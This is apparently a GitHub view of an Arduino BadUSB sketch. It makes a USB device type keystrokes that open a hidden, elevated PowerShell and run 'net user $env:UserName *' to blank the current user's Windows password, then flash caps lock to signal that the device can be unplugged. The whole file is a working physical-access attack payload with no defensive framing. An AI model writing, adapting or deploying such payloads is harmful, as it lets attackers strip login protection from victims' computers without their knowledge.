-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathBadUSB_windowsPassDisabler.ino
113 lines (66 loc) · 1.66 KB
/
BadUSB_windowsPassDisabler.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#include <Keyboard.h>
// Utility function
void typeKey(int key){
Keyboard.press(key);
delay(50);
Keyboard.release(key);
}
void setup()
{
// Start Keyboard and Mouse
Keyboard.begin();
delay(2500);
// Minimize all apps
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('d');
Keyboard.releaseAll();
delay(500);
// Start powershell as admin
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(500);
Keyboard.print("powershell.exe -windowstyle hidden");
delay(200);
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(2000);
Keyboard.press(KEY_LEFT_ARROW);
Keyboard.releaseAll();
delay(150);
typeKey(KEY_RETURN);
delay(2000);
// Disable windows password
Keyboard.print("net user $env:UserName *");
typeKey(KEY_RETURN);
delay(150);
typeKey(KEY_RETURN);
delay(150);
typeKey(KEY_RETURN);
delay(200);
Keyboard.print("exit");
typeKey(KEY_RETURN);
// Make capslock flash to know when you can unplug the BadUSB
Keyboard.write(KEY_CAPS_LOCK);
delay(150);
Keyboard.write(KEY_CAPS_LOCK);
delay(150);
Keyboard.write(KEY_CAPS_LOCK);
delay(150);
Keyboard.write(KEY_CAPS_LOCK);
delay(2000);
Keyboard.write(KEY_CAPS_LOCK);
delay(150);
Keyboard.write(KEY_CAPS_LOCK);
delay(150);
Keyboard.write(KEY_CAPS_LOCK);
delay(150);
Keyboard.write(KEY_CAPS_LOCK);
// End of Payload
// Stop Keyboard and Mouse
Keyboard.end();
}
// Unused
void loop() {}